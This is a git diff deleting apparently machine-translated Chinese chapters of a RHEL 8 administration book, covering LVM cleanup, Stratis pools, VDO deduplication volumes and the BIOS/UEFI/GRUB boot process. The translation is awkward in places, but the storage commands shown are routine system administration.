-[root@rhel8 ~]# du -sh /srv/data/ -30M /srv/data/ -``` - -现在让我们使用`pvmove`命令从`/dev/vdb1`中提取数据: - -```sh -[root@rhel8 ~]# pvmove /dev/vdb1 - /dev/vdb1: Moved: 7,75% - /dev/vdb1: Moved: 77,52% - /dev/vdb1: Moved: 100,00% -``` - -重要提示 - -根据区段的分配情况,您可能会收到一条声明`no data to move for storage`的消息。 这意味着已将保存的数据分配到另一个磁盘。 您可以使用`pvmove`与其他设备一起尝试。 - -现在,`/dev/vdb1`中没有存储数据,可以从卷组中删除数据。 我们可以使用`vgreduce`命令: - -```sh -[root@rhel8 ~]# vgreduce storage /dev/vdb1 - Removed "/dev/vdb1" from volume group "storage" -``` - -可以看到,现在存储卷组中的空间更少了: - -```sh -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 - storage 2 2 0 wz--n- 1,80g 1,30g -[root@rhel8 ~]# vgdisplay storage - --- Volume group --- - VG Name storage - System ID - Format lvm2 - Metadata Areas 2 - Metadata Sequence No 20 - VG Access read/write - VG Status resizable - MAX LV 0 - Cur LV 2 - Open LV 2 - Max PV 0 - Cur PV 2 - Act PV 2 - VG Size 1,80 GiB - PE Size 4,00 MiB - Total PE 462 - Alloc PE / Size 129 / 516,00 MiB - Free PE / Size 333 / 1,30 GiB - VG UUID 1B6Nil-rvcM-emsU-mBLu-wdjL-mDlw-66dCQU -``` - -我们还可以看到物理卷`/dev/vdb1`没有附属于任何卷组: - -```sh -[root@rhel8 ~]# pvs - PV VG Fmt Attr PSize PFree - /dev/vda2 rhel lvm2 a-- <9,00g 0 - /dev/vdb1 lvm2 --- 190,00m 190,00m - /dev/vdb2 storage lvm2 a-- 828,00m 312,00m - /dev/vdc storage lvm2 a-- 1020,00m 1020,00m -[root@rhel8 ~]# pvdisplay /dev/vdb1 - "/dev/vdb1" is a new physical volume of "190,00 MiB" - --- NEW Physical volume --- - PV Name /dev/vdb1 - VG Name - PV Size 190,00 MiB - Allocatable NO - PE Size 0 - Total PE 0 - Free PE 0 - Allocated PE 0 - PV UUID veOsec-WV0n-JP9D-WMz8-UYeZ-Zjs6-sJSJst -``` - -提示 - -`vgdisplay`、`pvdisplay`和`lvdisplay`命令显示关于 LVM 任何部分的详细信息。 - -最重要的部分是我们可以在系统自信地运行生产工作负载时执行这些操作。 我们的磁盘分布现在看起来像这样: - -![Figure 13.13 – Volume group with physical volumes removed ](img/B16799_13_013.jpg) - -图 13.13 -删除了物理卷的卷组 - -现在是时候删除卷组了,但是我们需要首先删除逻辑卷,就像之前所做的那样(可以在每个命令之前和之后运行`lvs`和`vgs`来检查进度): - -```sh -[root@rhel8 ~]# swapoff /dev/storage/swap -[root@rhel8 ~]# lvremove /dev/storage/swap -Do you really want to remove active logical volume storage/swap? [y/n]: y - Logical volume "swap" successfully removed -``` - -在此基础上,我们删除了`/dev/storage/swap`。 现在让我们使用`--yes`选项删除`/dev/storage/data`,这样我们就不会得到请求确认(在脚本中使用此命令时很重要): - -```sh -[root@rhel8 ~]# umount /dev/storage/data -[root@rhel8 ~]# lvremove --yes /dev/storage/data - Logical volume "data" successfully removed -``` - -现在可以移除`storage`卷组了: - -```sh -[root@rhel8 ~]# vgremove storage -``` - -已成功移除`storage`卷组。 - -最后,清理物理卷: - -```sh -[root@rhel8 ~]# pvremove /dev/vdb1 /dev/vdb2 - Labels on physical volume "/dev/vdb1" successfully wiped. - Labels on physical volume "/dev/vdb2" successfully wiped. -``` - -通过这个,我们知道了如何在我们的 RHEL8 系统中使用 LVM 的每个部分。 让我们回顾下一节中使用的命令。 - -# 审阅 LVM 命令 - -作为对用于管理物理卷的命令的总结,让我们看一下下表: - -![](img/B16799_Table_13.1.jpg) - -现在,让我们回顾一下用于管理卷组的命令: - -![](img/B16799_Table_13.2.jpg) - -最后,让我们回顾一下用于管理逻辑卷的命令: - -![](img/B16799_Table_13.3.jpg) - -请记住,您总是可以使用每个命令可用的手册页来获取关于您想要使用的选项的更多信息,并通过运行`man `来学习新的选项。 - -重要提示 - -web 管理界面座舱,有一个扩展管理存储组件。 可以使用以下命令`dnf install cockpit-storaged`将其安装为`root`(或与`sudo`一起)。 对你来说,一个很好的练习是使用驾驶舱中的存储接口重复本章中所做的过程。 - -# 总结 - -LVM 是 Red Hat Enterprise Linux 中非常有用的一部分,它提供了管理、重新分配、分发和分配磁盘空间的功能,而不需要停止系统中的任何东西。 经过多年的实战测试,它是系统管理员的一个关键组件,并且有助于将其他扩展功能整合到我们的系统中(通过 iSCSI 提供共享存储的一种灵活方式)。 - -在测试机器上实践 LVM 非常重要,因此我们可以确保在生产系统上运行的命令不会意味着服务停止或数据丢失。 - -在本章中,我们看到了使用 LVM 可以完成的最基本、但也是最重要的任务。 我们了解了 LVM 的不同层是如何工作的:物理卷、卷组和逻辑卷。 同时,我们也看到了它们是如何相互作用以及如何管理的。 我们已经实践了创建、扩展和删除逻辑卷、卷组和物理卷。 这将是重要的实践,以巩固所获得的知识,并能够在生产系统中使用它们。 然而,这样做的基础现在已经具备。 - -现在,让我们进入下一章,发现 RHEL8 中的一个新特性,通过添加重复数据删除功能进一步改进存储层——**虚拟数据优化器**(**VDO**)。************* \ No newline at end of file diff --git a/docs/rhel8-admin/14.md b/docs/rhel8-admin/14.md deleted file mode 100644 index 7d691903..00000000 --- a/docs/rhel8-admin/14.md +++ /dev/null @@ -1,437 +0,0 @@ -# 十四、基于分层和 VDO 的高级存储管理 - -在本章中,我们将学习**分层**和**虚拟数据优化器**(**VDO**)。 - -Stratis 是一个存储管理工具,可以简化最典型的日常任务的运行。 它使用前面章节中介绍的底层技术,如 LVM、分区模式和文件系统。 - -VDO 是一个存储层,它包括一个位于应用和存储设备之间的驱动程序,以提供存储的数据的重复数据删除和压缩,以及管理这一功能的工具。 例如,这将允许我们最大限度地提高系统保存虚拟机(VM)实例的能力,这些虚拟机实例只会根据它们的独特性占用磁盘空间,而只存储它们的公共数据一次。 - -我们还可以使用 VDO 来存储备份的不同副本,因为我们知道磁盘使用仍将得到优化。 - -在本章结束时,我们将知道 VDO 是如何工作的,以及我们的系统需要什么来设置它。 - -我们将在下面几节中探讨如何准备、配置和使用我们的系统: - -* 《Stratis -* 安装和启用 Stratis -* 使用 Stratis 管理存储池和文件系统 -* 准备使用 VDO 的系统 -* 创建 VDO 卷 -* 将 VDO 卷分配给 LVM -* 测试 VDO 容量并回顾统计数据 - -让我们开始准备使用 VDO 的系统。 - -# 技术要求 - -可以在[*第一章*](01.html#_idTextAnchor014),*Installing RHEL8*中继续使用本书开头创建的 VM。 本章需要的任何额外的软件包将会被指出,并且可以从[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration)下载。 - -我们需要,*理解层云*部分,同样的两个磁盘添加到[*第十三章*](13.html#_idTextAnchor169),*灵活的存储管理与 LVM*,毕竟 LVM 组件已经被清理干净。 - -# 理解层次 - -作为一个管理存储的新特性,**Stratis**作为技术预览版(从 RHEL 8.3 版本开始)被包含在 RHEL 8 中。 层云是创建本地存储管理系统通过结合服务,**stratisd**,与著名的工具在 LVM(解释[*第十三章*【显示】,*灵活的存储管理与 LVM*)和 XFS 文件系统(解释](13.html#_idTextAnchor169)[【病人】第十二章](12.html#_idTextAnchor160), *管理本地存储和文件系统*),这使得它非常可靠。 - -重要提示 - -使用 Stratis 创建的文件系统/池应该始终使用它来管理,而不是使用 LVM/XFS 工具。 同样,已经创建的 LVM 卷不应该使用 Stratis 进行管理。 - -分层将本地磁盘组合成**池**,然后将存储分布到**文件系统**中,如下图所示: - -![Figure 14.1 – Stratis simplified architecture diagram ](img/B16799_14_001.jpg) - -图 14.1 -分层简化架构图 - -可以看出,当与 LVM 相比时,Stratis 提供了一个更加简单易懂的存储管理接口。 在下面几节中,我们将安装和启用层云,然后使用相同的磁盘中创建[*第十三章*](13.html#_idTextAnchor169),*与 LVM*灵活的存储管理,创建一个池和两个文件系统。 - -# 安装并启用层 - -为了能够与 Stratis 一起工作,我们将首先安装它。 使用它所需要的两个包是: - -* `stratis-cli`:执行存储管理任务的命令行工具 -* `stratisd`:一种系统服务(也称为守护进程),它接受命令并执行底层任务 - -要安装它们,我们将使用`dnf`命令: - -```sh -[root@rhel8 ~]# dnf install stratis-cli stratisd -Updating Subscription Management repositories. -Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) 17 MB/s | 32 MB 00:01 -Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) 12 MB/s | 30 MB 00:02 -Dependencies resolved. -==================================================================================================== -Package Arch Version Repository Size -==================================================================================================== -Installing: -stratis-cli noarch 2.3.0-3.el8 rhel-8-for-x86_64-appstream-rpms 79 k -stratisd x86_64 2.3.0-2.el8 rhel-8-for-x86_64-appstream-rpms 2.1 M -[omitted] -Complete! -``` - -现在我们可以通过`systemctl`启动的`stratisd`服务: - -```sh -[root@rhel8 ~]# systemctl start stratisd -[root@rhel8 ~]# systemctl status stratisd -● stratisd.service - Stratis daemon - Loaded: loaded (/usr/lib/systemd/system/stratisd.service; enabled; vendor preset: enabled) - Active: active (running) since Sat 2021-05-22 17:31:35 CEST; 53s ago - Docs: man:stratisd(8) -Main PID: 17797 (stratisd) - Tasks: 1 (limit: 8177) - Memory: 1.2M - CGroup: /system.slice/stratisd.service - └─17797 /usr/libexec/stratisd --log-level debug -[omitted] -``` - -现在我们将使它在启动时启动: - -```sh -[root@rhel8 ~]# systemctl enable stratisd -[root@rhel8 ~]# systemctl status stratisd -● stratisd.service - Stratis daemon - Loaded: loaded (/usr/lib/systemd/system/stratisd.service; enabled; vendor preset: enabled) -[omitted] -``` - -提示 - -我们可以使用一个命令(即`systemctl enable --now stratisd`)来完成这两个任务。 - -让我们用`stratis-cli`检查守护进程(也称为系统服务)是否正在运行: - -```sh -[root@rhel8 ~]# stratis daemon version -2.3.0 -``` - -我们已经准备好了,所以是时候开始研究磁盘了。 让我们继续下一小节。 - -# 管理具有分层的存储池和文件系统 - -为了使有一些可供 Stratis 使用的存储,我们将使用`/dev/vdb`和`/dev/vdc`磁盘。 我们需要确保它们上没有任何逻辑卷或分区。 让我们回顾一下: - -```sh -[root@rhel8 ~]# lvs - LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert - root rhel -wi-ao---- <8,00g - swap rhel -wi-ao---- 1,00g -[root@rhel8 ~]# vgs - VG #PV #LV #SN Attr VSize VFree - rhel 1 2 0 wz--n- <9,00g 0 -[root@rhel8 ~]# pvs - PV VG Fmt Attr PSize PFree - /dev/vda2 rhel lvm2 a-- <9,00g 0 -``` - -我们是好的:所有 lvm 创建的对象都是磁盘`/dev/vda`上的。 让我们检查另外两个磁盘,`/dev/vdb`和`/dev/vdc`: - -```sh -[root@rhel8 ~]# parted /dev/vdb print -Model: Virtio Block Device (virtblk) -Disk /dev/vdb: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: gpt -Disk Flags: - -Number Start End Size File system Name Flags -[root@rhel8 ~]# parted /dev/vdc print -Error: /dev/vdc: unrecognised disk label -Model: Virtio Block Device (virtblk) -Disk /dev/vdc: 1074MB -Sector size (logical/physical): 512B/512B -Partition Table: unknown -Disk Flags: -``` - -磁盘`/dev/vdc`没有分区表标签。 我们对这个很好。 但是,磁盘`/dev/vdb`有一个分区表。 让我们删除它: - -```sh -[root@rhel8 ~]# dd if=/dev/zero of=/dev/vdb count=2048 bs=1024 -2048+0 records in -2048+0 records out -2097152 bytes (2,1 MB, 2,0 MiB) copied, 0,0853277 s, 24,6 MB/s -``` - -提示 - -`dd`命令(即表示磁盘转储)用于将数据从设备上转储到设备上。 这个特殊的设备`/dev/zero`简单地产生零,我们用它来覆盖磁盘的初始扇区,也就是标签所在的地方。 请小心使用`dd`; 它可能会在没有警告的情况下覆盖任何东西。 - -现在我们准备使用`stratis`命令创建第一个池: - -```sh -[root@rhel8 ~]# stratis pool create mypool /dev/vdb -[root@rhel8 ~]# stratis pool list -Name Total Physical Properties -mypool 1 GiB / 37.63 MiB / 986.37 MiB ~Ca,~Cr -``` - -我们目前已经创建了池,如下图所示: - -![Figure 14.2 – Stratis pool created ](img/B16799_14_002.jpg) - -图 14.2 -创建的层池 - -我们创建了池; 现在可以在它上面创建一个文件系统: - -```sh -[root@rhel8 ~]# stratis filesystem create mypool data -[root@rhel8 ~]# stratis filesystem list -Pool Name Name Used Created Device UUID -mypool data 546 MiB May 23 2021 19:16 /dev/stratis/mypool/data b073b6f1d56843b888cb83f6a7d80a43 -``` - -存储的状态“”如下: - -![Figure 14.3 – Stratis filesystem created ](img/B16799_14_003.jpg) - -图 14.3 -创建的分层文件系统 - -让我们准备安装文件系统。 我们需要在`/etc/fstab`中添加以下一行: - -```sh -/dev/stratis/mypool/data /srv/stratis-data xfs defaults,x-systemd.requires=stratisd.service 0 0 -``` - -重要提示 - -为了让在引导过程中正确地安装一个分层文件系统,我们应该添加`x-systemd.requires=stratisd.service`选项,使其在`stratisd`服务启动后安装。 - -现在我们可以安装它: - -```sh -[root@rhel8 ~]# mkdir /srv/stratis-data -[root@rhel8 ~]# mount /srv/stratis-data/ -``` - -现在让我们扩展池: - -```sh -[root@rhel8 ~]# stratis blockdev list mypool -Pool Name Device Node Physical Size Tier -mypool /dev/vdb 1 GiB Data -[root@rhel8 ~]# stratis pool add-data mypool /dev/vdc -[root@rhel8 ~]# stratis blockdev list mypool -Pool Name Device Node Physical Size Tier -mypool /dev/vdb 1 GiB Data -mypool /dev/vdc 1 GiB Data -``` - -由于底层使用瘦池,我们不需要扩展文件系统。 存储方式如下: - -![Figure 14.4 – Stratis pool extended ](img/B16799_14_004.jpg) - -图 14.4 -层池扩展 - -使用`stratis snapshot`命令创建快照的时间。 让我们创建一些数据,然后快照: - -```sh -[root@rhel8 ~]# stratis filesystem -Pool Name Name Used Created Device UUID -mypool data 546 MiB May 23 2021 19:54 /dev/stratis/mypool/data 08af5d5782c54087a1fd4e9531ce4943 -[root@rhel8 ~]# dd if=/dev/urandom of=/srv/stratis-data/file bs=1M count=512 -512+0 records in -512+0 records out -536870912 bytes (537 MB, 512 MiB) copied, 2,33188 s, 230 MB/s -[root@rhel8 ~]# stratis filesystem -Pool Name Name Used Created Device UUID -mypool data 966 MiB May 23 2021 19:54 /dev/stratis/mypool/data 08af5d5782c54087a1fd4e9531ce4943 -[root@rhel8 ~]# stratis filesystem snapshot mypool data data-snapshot1 -[root@rhel8 ~]# stratis filesystem -Pool Name Name Used Created Device UUID -mypool data 1.03 GiB May 23 2021 19:54 /dev/stratis/mypool/data 08af5d5782c54087a1fd4e9531ce4943 -mypool data-snapshot1 1.03 GiB May 23 2021 19:56 /dev/stratis/mypool/data-snapshot1 a2ae4aab56c64f728b59d710b82fb682 -``` - -提示 - -要查看 Stratis 的内部部分,可以运行`lsblk`命令。 通过它,您将在树中看到 Stratis 使用的组件:物理设备、元数据和数据的分配、池和文件系统。 所有这些都被 Stratis 抽象出来。 - -因此,我们已经了解了 Stratis 的概况,以便了解其管理的基础知识。 记住层在预览,因此它不应该在生产系统中使用。 - -现在让我们通过回顾使用 VDO 的数据重复数据删除来讨论存储管理中的其他高级主题。 - -# 准备系统使用 VDO - -正如前面提到的,VDO 是一个驱动程序,特别是一个 Linux 设备映射器驱动程序,它使用两个内核模块: - -* `kvdo`:进行数据压缩。 -* `uds`:负责重复数据删除。 - -常规的存储设备,如本地磁盘**廉价磁盘冗余阵列**(**RAID**),等等是存储数据的最终后端; 上面的 VDO 层通过以下方式减少磁盘使用: - -* 删除已归零的块,只将它们存储在元数据中。 -* 重复数据删除:重复数据块在元数据中被引用,但只存储一次。 -* 压缩,使用 4 KB 的数据块与无损压缩算法(LZ4:[https://lz4.github.io/lz4/](https://lz4.github.io/lz4/))。 - -这些技术在过去的其他解决方案中使用过,例如在精简的**虚拟机**中,这些虚拟机只保留了 vm 之间的差异,但是 VDO 使透明地执行这些操作。 - -与精简配置类似,VDO 意味着更快的数据吞吐量,因为数据可以由系统控制器缓存,多个服务甚至虚拟机都可以使用这些数据,而不需要额外的磁盘读取来访问它。 - -让我们在系统上安装所需的软件包,通过安装`vdo`和`kmod-kvdo`软件包来创建 VDO 卷: - -```sh -dnf install vdo kmod-kvdo -``` - -现在,安装了包之后,我们准备在下一节中创建第一个卷。 - -# 创建 VDO 卷 - -创建一个 VDO 设备,我们将使用环回设备中创建[*第十二章*](12.html#_idTextAnchor160),*管理本地存储和文件系统*,我们将首先检查是否安装或不通过执行: - -```sh -mount|grep loop -``` - -如果没有输出,我们设置为在它上面创建`vdo`卷,如下所示: - -```sh -vdo create -n myvdo --device /dev/loop0 –force -``` - -输出如下截图所示: - -![Figure 14.5 – vdo volume creation ](img/B16799_14_005.jpg) - -图 14.5 -创建 vdo 卷 - -一旦卷创建完成,我们可以执行`vdo status`来获取创建卷的详细信息,如下图所示: - -![Figure 14.6 – Output of vdo status ](img/B16799_14_006.jpg) - -图 14.6 - vdo 状态输出 - -正如我们所看到的,有关于`kvdo`版本、正在使用的配置文件以及卷(大小、压缩状态等等)的信息。 - -现在可以通过`/dev/mapper/myvdo`(我们用`–n`指定的名称)看到新卷,并且可以使用它了。 - -我们可以执行`vdo status|egrep -i "compression|dedupli"`并得到如下的输出: - -![Figure 14.7 – Checking vdo status for compression and deduplication ](img/B16799_14_007.jpg) - -图 14.7 -检查压缩和重复数据删除的 vdo 状态 - -这意味着在卷上同时启用了压缩和重复数据删除功能,因此我们准备在下一节中通过将其添加到 LVM 卷来测试该功能。 - -# 分配 VDO 卷给 LVM 卷 - -在前一节中,我们创建了一个 VDO 体积,**现在将成为我们的物理卷**(**光伏)创建一个 LVM 卷组和逻辑卷上。** - -让我们通过运行以下命令序列来创建 PV: - -1. `pvcreate /dev/mapper/myvdo` -2. `vgcreate myvdo /dev/mapper/myvdo` -3. `lvcreate -L 15G –n myvol myvdo` - -此时,我们的`/dev/myvdo/myvol`已经准备好进行格式化了。 让我们使用 XFS 文件系统: - -```sh -mkfs.xfs /dev/myvdo/myvol -``` - -一旦创建了文件系统,让我们通过如下方式挂载一些数据: - -```sh -mount /dev/myvdo/myvol /mnt -``` - -现在让我们在下一节中测试 VDO 体积。 - -# 测试 VDO 音量并查看统计数据 - -为了测试重复数据删除和压缩,我们将与一个大文件,测试等 RHEL 8 KVM 客人图片可以在 https://access.redhat.com/downloads/content/479/ver=/rhel--8/8.3/x86_64/product-software。 - -下载后,将其保存为`rhel-8.3-x86_64-kvm.qcow2`,并将其复制四次到我们的 VDO 卷: - -```sh -cp rhel-8.3-x86_64-kvm.qcow2 /mnt/vm1.qcow2 -cp rhel-8.3-x86_64-kvm.qcow2 /mnt/vm2.qcow2 -cp rhel-8.3-x86_64-kvm.qcow2 /mnt/vm3.qcow2 -cp rhel-8.3-x86_64-kvm.qcow2 /mnt/vm4.qcow2 -``` - -这是服务器中包含启动相同基本磁盘映像的 vm 的典型情况,但是我们看到任何改进吗? - -让我们执行`vdostats --human-readable`来验证数据。 请注意,下载的映像为 1.4 GB,如`ls –si`所报告的。 由`vdostats --human-readable`得到的输出如下: - -```sh -Device Size Used Available Use% Space saving% -/dev/mapper/myvdo 20.0G 5.2G 14.8G 25% 75% -``` - -原始卷(环回文件)是 20gb,所以这是我们可以看到的大小,但是从输出判断,我们创建的 LVM 卷是 15gb,我们看到大约只有 1.2 GB 被消耗了,即使我们有四个每个 1.4 GB 的文件。 - -这个比例也很清楚。 我们节省了 75%的空间(四个文件中有三个是完全复制的)。 如果我们做一个额外的副本,我们将看到这个百分比变成 80%(5 份副本中有 1 份)。 - -让我们来看看另一种方法,通过创建一个空文件(充满 0): - -```sh -[root@bender mnt]# dd if=/dev/zero of=emptyfile bs=16777216 count=1024 -dd: error writing 'emptyfile': No space left on device -559+0 records in -558+0 records out -9361883136 bytes (9.4 GB, 8.7 GiB) copied, 97.0276 s, 96.5 MB/s -``` - -正如我们所看到的,我们可以在磁盘完全填满之前写入 9.4 GB,但是让我们再次检查`vdo`和`vdostats --human-readable`的数据,如下截图所示: - -![Figure 14.8 – Checking the vdostats output ](img/B16799_14_008.jpg) - -图 14.8 -检查 vdostats 输出 - -正如我们所看到的,我们仍然有 14.8 GB 可用,并且我们将磁盘空间从 80%增加到 92%,因为这个大文件是空的。 - -等等——如果我们正在使用重复数据删除和压缩,那么如果 92%的卷已经被保存,我们是否已经填满了卷? - -由于我们没有指明 VDO 卷的逻辑大小,它默认与底层设备设置为 1:1 的比例。 这是最安全的方法,但除了性能之外,我们并没有真正利用压缩和重复数据删除的优势。 - -为了充分利用这些优化,我们可以在现有的卷上创建一个更大的逻辑驱动器。 例如,如果在很长一段时间后,我们非常确定磁盘优化可能是相似的,我们可以使用以下命令增加逻辑大小: - -```sh -vdo growLogical --name=myvdo --vdoLogicalSize=30G -``` - -当然,这不会增加可用的大小,因为我们在 PV 上定义了一个卷组和一个逻辑卷。 因此,我们还需要通过执行以下命令来扩展它: - -1. `pvresize /dev/mapper/myvdo` -2. `lvresize –L +14G /dev/myvdo/myvol` -3. `xfs_growfs /mnt` - -这样,我们有扩展了物理卷,增加了逻辑卷的大小,并扩展了文件系统,所以现在可以使用空间了。 - -如果我们现在执行`df|grep vdo`,我们将看到这样的结果: - -![Figure 14.9 – Disk space availability after resizing the volume ](img/B16799_14_009.jpg) - -图 14.9 -调整卷大小后的磁盘空间可用性 - -从这一点开始,我们必须非常小心,因为就可能的压缩而言,我们对磁盘空间的实际使用可能没有像以前那样优化,从而导致写入失败。 然后,需要监视可用磁盘空间和 VDO 状态,以确保我们没有试图使用比可用空间更多的空间,例如,如果无法以相同的比率压缩或重复数据删除存储的文件。 - -重要提示 - -在我们的实际物理磁盘空间中设置一个非常大的逻辑卷是很诱人的,但是我们应该提前计划并考虑避免未来的问题,例如压缩比可能没有我们预期的那么高。 充分分析所存储的实际数据及其典型压缩比,可以让我们更好地了解在继续积极监控逻辑卷和物理卷的磁盘使用变化的同时,使用什么是安全的方法。 - -很久以前,当磁盘空间真的是昂贵的(和硬盘总共 80 MB),它变得非常流行使用工具,允许一个*增加磁盘空间使用透明层压缩这可能使一些估计和报告更大空间; 但在现实中,我们知道图像和电影等内容不能像文本文件等其他文档格式那样压缩。 一些文档格式(例如 LibreOffice 使用的那些)已经是压缩文件,因此不会获得额外的压缩好处。* - - *但是当我们谈到 vm 时,这种情况就发生了变化,其中每个 vm 的基础或多或少是相等的(基于公司的政策和标准),并通过克隆磁盘映像和稍后执行小定制来部署,但在本质上共享大部分磁盘内容。 - -提示 - -一般来说,请记住,优化实际上只是权衡。 在调优配置文件的情况下,您正在调整吞吐量以应对延迟,在我们的情况下,您正在用 CPU 和内存资源换取磁盘可用性。 判断某件事是否值得权衡的唯一方法是实现它,看看它的性能如何,看看从中获得的好处,然后随着时间的推移继续监视性能。 - -# 总结 - -在本章中,我们学习了 VDO 和 Stratis。 我们了解了管理存储的简单方法、如何透明地节省磁盘空间以及如何在这个过程中获得一些吞吐量。 - -使用 Stratis,我们创建了一个包含两个磁盘的池,并将其分配给一个挂载点。 它比使用 LVM 需要更少的步骤,但另一方面,我们对所做的事情的控制更少。 无论如何,我们学习了如何在 RHEL 8 中使用这种预览技术。 - -VDO,我们我们创建的卷用于定义一个 LVM PV,在它之上,一个卷组和逻辑卷我们已经格式化的使用获得的知识在之前的章节来存储虚拟机磁盘映像几次,来模拟一个场景,几个虚拟机开始从相同的基础。 - -我们还学习了如何检查 VDO 优化和节省的磁盘数量。 - -现在,我们准备使用 Stratis 而不是 LVM 来分组和分发存储(尽管不用于生产)。 我们还可以为服务器实现 VDO,以开始优化磁盘使用。 - -在下一章中,我们将学习引导过程。* \ No newline at end of file diff --git a/docs/rhel8-admin/15.md b/docs/rhel8-admin/15.md deleted file mode 100644 index 0f1e33a2..00000000 --- a/docs/rhel8-admin/15.md +++ /dev/null @@ -1,406 +0,0 @@ -# 十五、了解引导过程 - -引导过程是在您启动一台机器(物理或虚拟)和操作系统完全加载之间发生的过程。 - -与许多优秀的电子游戏一样,它也有三个阶段:由硬件(同样是物理或虚拟的)执行的初始启动,操作系统初始阶段的负载,以及帮助运行系统中所需服务的机制。 我们将在本章中回顾这三个阶段,我们也将添加一些技巧和技巧,以干预一个系统并执行救援行动。 - -在本章中,我们将涵盖所有这些主题的章节如下: - -* 了解引导过程- BIOS 和 UEFI 引导 -* 使用 GRUB、引导加载程序和 initrd 系统映像 -* 使用 systemd 管理启动顺序 -* 干预引导过程以获得对系统的访问权 - -很可能您不需要在引导过程的前两个阶段进行很多更改,但在紧急情况、取证或重大故障的情况下,这些要点可能非常有用。 这就是为什么仔细阅读它们很重要。 - -第三阶段是由**systemd**管理的阶段,在此阶段将执行更多的操作和更改,以便管理系统中默认运行的服务。 在前面的章节中,我们已经看到了要执行的大部分任务的示例; 然而,在这篇文章中,我们将提供一个全面的评论。 - -让我们从第一阶段开始。 - -# 了解引导过程- BIOS 和 UEFI 引导 - -计算机有硬件嵌入式软件控制器,也称为**固件**,可以让您管理最底层的硬件。 这个固件是执行第一个识别可用的硬件是系统中和硬件特性被启用(如**pre-boot 网络执行【显示】,****PXE)。** - -在架构称为**电脑**(**个人电脑),也称为 x86,英特尔和 IBM 普及,嵌入式固件是被称为**BIOS**,即【显示】基本输入输出系统。** - - **在 Linux 操作系统中,BIOS 引导过程如下: - -1. 机器已上电并加载 BIOS 固件。 -2. 固件初始化设备,如键盘、鼠标、存储器和其他外围设备。 -3. 固件读取配置,包括引导顺序,指定要使用哪个存储设备继续引导过程。 -4. 一旦选择了存储设备,BIOS 将在其上加载**主引导记录**(**MBR**),这将使**操作系统加载器**运行。 在 RHEL 中,运行的系统加载程序被称为**Grand Unified Bootloader**(**GRUB**)。 -5. GRUB 加载配置和**操作系统内核**和**初始 RAM 磁盘**。 在**Red Hat Enterprise Linux**(**RHEL**)中,内核存储在一个名为`vmlinuz`的文件中,初始引导映像存储在一个名为`initrd`的文件中。 所有 GRUB 配置`vmlinuz`和`initrd`文件都存储在`/boot`分区中。 -6. 初始引导映像允许加载系统的第一个进程,也称为`init`,在 RHEL8 中为**systemd**。 -7. *systemd*加载操作系统的其余部分。 - -要使这个进程发生,磁盘必须有一个 MBR 分区表,并且分配给`/boot`的分区必须标记为可引导。 - -提示 - -MBR 分区表格式非常有限,只允许 4 个主分区,并使用扩展分区等扩展来克服这一限制。 除非完全需要,否则不建议使用这种类型的分区。 - -UEFI 引导的过程与 BIOS 的引导过程非常相似。 **UEFI**代表**统一扩展固件接口**。 引导顺序的主要区别是 UEFI 可以直接访问和读取磁盘分区。 其流程如下: - -1. 机器已上电并加载 UEFI 固件。 -2. 固件初始化设备,如键盘、鼠标、存储器和其他外围设备。 -3. 固件读取配置,其中指定哪个存储设备和可引导分区继续引导过程(UEFI 不需要 MBR 引导)。 -4. 一旦选择了存储设备,就会从**GUID 分区表**(**GPT**)读取其上的分区。 访问第一个 VFAT 格式的分区。 然后加载 EFI 引导加载程序并运行。 RHEL 中的 EFI 引导加载程序位于`/boot/efi`分区中,它继续加载 GRUB。 -5. GRUB 然后**加载操作系统内核**,在 RHEL 存储在一个文件名为`vmlinuz`和【显示】初始引导映像,这是存储在一个名为`initrd`的文件。 GRUB 配置`vmlinuz`和`initrd`文件存放在`/boot`分区。 -6. 初始引导映像允许加载系统的第一个进程,也称为`init`,在 RHEL8 中为**systemd**。 -7. *systemd*加载操作系统的其余部分。 - -UEFI 比 BIOS 有几个优势,支持更完整的预启动环境和其他功能,如安全启动和支持 GPT 分区,可以超过 2tb 的限制,MBR 分区。 - -安装程序将负责创建引导,如果需要,UEFI 分区和二进制文件。 - -pre-boot 中需要为 Red Hat Certified System Administrator 认证而知道的部分是如何从其中加载操作系统加载程序。 通过 BIOS 或 UEFI,我们可以选择从哪个存储设备的操作系统将加载和移动到下一个阶段。 让我们进入下一节的下一个阶段。 - -# 使用 GRUB、引导加载程序和 initrd 系统映像 - -预引导执行完成后,系统将运行 GRUB 引导加载程序。 - -GRUB 的任务加载操作系统的主要文件,**内核**,传递参数和选项,并加载初始 RAM 磁盘,也被称为**initrd**。 - -GRUB 可以通过`grub2-install`命令安装。 我们需要知道将使用哪个磁盘设备来引导,在本例中为`/dev/vda`: - -```sh -[root@rhel8 ~]# grub2-install /dev/vda -Installing for i386-pc platform. -Installation finished. No error reported. -``` - -重要提示 - -你应该将`grub-install`指向你将用来引导系统的磁盘,与你在 BIOS/UEFI 中配置引导的磁盘相同。 - -这可用于手动重建系统或修复损坏的引导。 - -GRUB 文件存放在`/boot/grub2`中。 主要配置文件为`/boot/grub2/grub.cfg`; 然而,如果你仔细看这个文件,你会看到下面的头文件: - -```sh -[root@rhel8 ~]# head -n 6 /boot/grub2/grub.cfg -# -# DO NOT EDIT THIS FILE -# -# It is automatically generated by grub2-mkconfig using templates -# from /etc/grub.d and settings from /etc/default/grub -# -``` - -正如您可以看到的,这个文件是自动生成的,因此不打算手动编辑。 那么我们如何对它进行更改呢? 有两种方法: - -* 第一种方法是遵循`grub.cfg`文件中提到的说明。 这意味着编辑`/etc/default/grub`文件和/或`/etc/grub.d/`目录中的内容,然后运行`grub2-mkconfig`重新生成 GRUB 配置。 -* The second way is by using the `grubby` command-line tool. - - 重要提示 - - 在 RHEL 中,当内核有一个新版本时,它不会更新,但是会在前一个内核旁边安装一个新内核,并在 GRUB 中添加一个新条目。 这样,在需要的情况下,有一种简单的方法可以回滚到以前正在工作的内核。 在安装过程中,将为新内核创建一个新的更新的`initrd`。 - -让我们看看使用`grubby`的当前内核配置。 `--default-kernel`选项将显示默认加载的内核文件: - -```sh - [root@rhel8 ~]# grubby --default-kernel 